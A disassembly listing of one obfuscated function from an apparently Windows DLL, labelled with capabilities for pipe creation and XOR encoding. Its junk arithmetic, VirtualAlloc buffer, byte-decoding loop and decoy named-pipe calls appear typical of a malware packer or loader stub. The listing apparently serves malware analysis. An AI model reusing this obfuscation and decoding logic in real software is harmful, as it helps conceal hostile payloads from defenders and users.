Function at 0x1800414a0
Capabilities:
Create pipe
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov ebp, dword [rsp + 0x80]
lea ebx, [rdx - 0xad0]
mov esi, ebp
lea r12d, [rcx - 0xcda]
mov r14d, r8d
mov eax, ebx
xor esi, 0x7530
xor r14d, 0x1499
lea r15d, [rbp - 0xad0]
xor eax, 0xe4b
xor ebp, 0x480d
mov rdi, r9
cmp r12d, eax
jl 0x180041a89
lea eax, [rbx - 0x9c7]
cmp esi, eax
jl 0x1800418c3
mov eax, dword [0x18011e0d0]
sub eax, dword [0x18011e084]
mov rcx, qword [section..data]
add eax, 0xb4b34d0
add dword [rcx + 0x24], eax
mov eax, dword [0x18011e01c]
mov ecx, dword [0x18011e0cc]
add eax, 0x8f4cf
mov rdx, qword [section..data]
add ecx, eax
xor dword [rdx + 0x24], ecx
xor ecx, ecx
mov r8d, dword [r9 + 0x20]
mov rax, qword [section..data]
add r8d, 0x3000
mov r9d, dword [0x18011e04c]
sub r9d, dword [0x18011e0cc]
add r9d, 0x1f6b8e
mov edx, dword [rax + 0x24]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r11d, 0xfff7517a
lea rcx, [rax + 0x8000]
mov rax, qword [section..data]
mov qword [rax + 0xa8], rcx
mov rdx, qword [section..data]
mov ecx, dword [rdx + 0xb0]
add ecx, 0xffe42ea1
add ecx, dword [rdi + 0x38]
mov dword [rdx + 0x70], ecx
mov rax, qword [rdi + 0xa8]
mov qword [0x18011e0b0], rax
mov ecx, dword [rdi + 0xc8]
sub ecx, dword [0x18011e0a4]
sub ecx, 0x28cef4
mov dword [0x18011e074], ecx
mov eax, dword [rdi + 0xc]
sub eax, dword [0x18011e0c0]
add eax, 0x8c422531
add eax, ecx
lea rcx, [0x180063a40]
mov dword [0x18011e074], eax
xor r10d, r10d
mov rax, qword [section..data]
mov r9d, r10d
mov qword [rax + 0x98], rcx
mov rax, qword [0x18011e0a8]
mov rcx, qword [section..data]
mov r8d, dword [r9 + rax]
add r9, 4
mov eax, dword [rcx + 0xc]
imul eax, dword [rdi + 0xc0]
mov dword [rcx + 0xc], eax
movsxd rcx, dword [rdi + 0x70]
mov rax, qword [section..data]
imul r8d, dword [rax + 0x64]
mov rax, qword [rax + 0xa0]
mov edx, r8d
shr edx, 8
mov byte [rcx + rax], dl
inc dword [rdi + 0x70]
mov rax, qword [section..data]
movsxd rcx, dword [rax + 0x70]
mov rax, qword [0x18011e0b0]
mov byte [rcx + rax], r8b
mov rax, qword [section..data]
inc dword [rax + 0x70]
mov eax, 0x30484b
mov ecx, dword [0x18011e054]
xor ecx, dword [0x18011e0cc]
sub eax, ecx
add dword [rdi + 0x6c], eax
mov rdx, qword [section..data]
mov eax, dword [0x18011e030]
add eax, 0x1313cc
mov ecx, dword [rdx + 0xc]
add ecx, eax
mov eax, dword [0x18011e050]
mov dword [0x18011e030], ecx
add eax, 0xffe0a023
mov ecx, dword [rdx + 0x68]
imul ecx, eax
mov eax, r11d
mov dword [rdx + 0x68], ecx
sub eax, dword [0x18011e04c]
mov rcx, qword [section..data]
add dword [rcx + 0x38], eax
mov rdx, qword [section..data]
mov eax, dword [0x18011e104]
add eax, 0xffd71ef5
mov ecx, dword [rdx + 0xc8]
add ecx, eax
mov eax, dword [0x18011e06c]
mov dword [0x18011e104], ecx
add eax, 0xffe0a00e
mov ecx, dword [rdx + 0x40]
add ecx, eax
xor dword [0x18011e100], ecx
mov eax, dword [rdi + 0xc8]
sub eax, 0x28e10b
add dword [rdx + 0xb0], eax
cmp r9, 0xaf698
jl 0x180041606
cmp dword [0x18011e040], 0x9038
mov rdx, qword [section..data]
jb 0x18004173d
mov eax, dword [rdx + 0x3c]
xor eax, 0x3814a083
mov dword [0x18011e074], eax
jmp 0x180041758
mov ecx, dword [rdx + 0x40]
sub ecx, dword [rdi + 0x48]
mov eax, dword [0x18011e0cc]
add ecx, dword [0x18011e01c]
imul eax, ecx
mov dword [0x18011e0cc], eax
cmp dword [0x18011e058], 0x16a33
lea rax, [0x18014acc0]
cmovb rax, qword [0x18011e0a8]
mov qword [0x18011e0a8], rax
mov r9d, dword [r10 + rax]
add r10, 4
imul r9d, dword [rdi + 0x64]
mov eax, dword [0x18011e054]
sub eax, dword [rdx + 0x94]
sub eax, 0x26f483
or dword [rdx + 0x6c], eax
mov rax, qword [section..data]
mov r8d, r9d
movsxd rdx, dword [0x18011e080]
shr r8d, 8
mov rcx, qword [rax + 0xa0]
mov byte [rdx + rcx], r8b
inc dword [0x18011e080]
mov eax, dword [rdi + 0x48]
add eax, dword [0x18011e0c0]
xor eax, 0x37888e
add dword [0x18011e030], eax
mov rax, qword [section..data]
movsxd rcx, dword [rax + 0x70]
mov rax, qword [rdi + 0xa0]
mov byte [rcx + rax], r9b
mov rax, qword [section..data]
inc dword [rax + 0x70]
mov rax, qword [section..data]
mov ecx, dword [rax + 0x94]
xor dword [rdi + 0x6c], ecx
mov rcx, qword [section..data]
mov eax, dword [rcx + 0x30]
sub eax, 0x17749e
add dword [rcx + 0x3c], eax
mov eax, dword [0x18011e01c]
sub eax, dword [0x18011e0c0]
add eax, 0x2ee52b
xor dword [0x18011e040], eax
mov eax, dword [0x18011e04c]
xor eax, r11d
sub dword [rdi + 0x5c], eax
mov r8, qword [section..data]
mov eax, dword [0x18011e048]
mov edx, dword [r8 + 0xb0]
add edx, 0xffe08b7f
add edx, dword [r8 + 0xf0]
imul eax, edx
mov edx, dword [0x18011e030]
mov dword [0x18011e048], eax
add edx, dword [rdi + 0x5c]
xor edx, dword [r8 + 0x30]
xor edx, 0x14
mov dword [r8 + 0x30], edx
mov eax, dword [0x18011e0c0]
sub eax, dword [rdi + 0xf4]
sub eax, 0x1b779b
or dword [rdi + 0x6c], eax
cmp r10, 0xd27e0
jge 0x1800418a6
mov rdx, qword [section..data]
mov rax, qword [0x18011e0a8]
jmp 0x180041778
mov rcx, qword [section..data]
mov eax, dword [rcx + 0x3c]
add eax, dword [0x18011e07c]
xor eax, 0xfff75085
mov dword [rcx + 0x64], eax
jmp 0x180041a89
imul eax, r15d, 0x3376
mov r11d, ebp
mov r10d, ebp
or r10d, r12d
xor r10d, 0x4a90
xor dword [0x18011e048], eax
mov eax, ebp
sub r11d, dword [r9 + 0x38]
xor eax, 0x3d3d
add dword [r9 + 0xbc], eax
mov eax, dword [r9 + 0xf0]
mov r9d, ebx
mov edx, dword [0x18011e054]
and eax, 0x35c0
imul r8d, eax, 0x480d
sub r9d, r14d
mov eax, dword [0x18011e0dc]
xor r14d, ebx
mov qword [rsp + 0x38], r11
sub eax, ebx
sub ebx, dword [0x18011e07c]
xor edx, 0x3f84
sub edx, dword [0x18011e03c]
xor eax, 0x3f6e
mov dword [rsp + 0x30], r8d
xor r14d, 0x33ca
mov dword [rsp + 0x28], r10d
mov r8d, r14d
mov ecx, ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov eax, dword [0x18011e100]
not eax
and eax, r12d
cmp r15d, eax
jne 0x180041a89
mov rdx, qword [section..data]
mov r14d, 0x39e8
mov eax, dword [rdx + 0xc]
or eax, r14d
cmp r15d, eax
jbe 0x180041a48
mov r8d, dword [0x18011e084]
lea r9d, [rbp + 0x416c]
mov r10d, dword [0x18011e104]
mov ecx, ebp
sub ecx, dword [rdx + 0x44]
mov eax, r12d
imul eax, ecx
xor r10d, ecx
add r10d, ebp
sub ecx, esi
movsxd rcx, ecx
or eax, 0x35c0
or dword [0x18011e0cc], eax
mov r11d, dword [rdx + 0xc0]
sub r8d, dword [rdx + 0xb0]
or r11d, esi
imul ebx, dword [rdi + 0x74], 0x3f84
and r11d, dword [rdi + 0xb0]
mov eax, r12d
and rbx, rax
mov eax, dword [rdi + 0x48]
or eax, dword [0x18011e014]
xor eax, dword [rdx + 0xcc]
mov edx, dword [rdx + 0xf0]
add edx, dword [rdi + 0x74]
mov qword [rsp + 0x38], rbx
add edx, r12d
mov dword [rsp + 0x30], r11d
mov dword [rsp + 0x28], r10d
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov r8, qword [section..data]
mov edx, dword [0x18011e050]
add edx, 0xffffc4e8
add edx, r15d
mov ecx, dword [r8 + 0x3c]
mov eax, dword [r8 + 0x20]
sub ecx, r15d
or rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov rdx, qword [section..data]
mov ecx, dword [rdi + 0xc0]
mov eax, ecx
sub eax, dword [rdi + 0x68]
add eax, r14d
cmp dword [rdi + 0xbc], eax
jae 0x180041a89
mov edx, dword [rdx + 0x38]
sub edx, ecx
mov ecx, dword [rdi + 0x2c]
imul ecx, r15d
add edx, 0x3d3d
call qword [sym.imp.KERNEL32.dll_DeactivateActCtx]
mov rdx, qword [section..data]
mov ecx, dword [rdi + 0xbc]
sub ecx, dword [rdx + 0x30]
add dword [rdx + 0x28], ecx
mov rbx, qword [rsp + 0x60]
xor esi, 0xe5a
mov rbp, qword [rsp + 0x68]
mov eax, esi
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret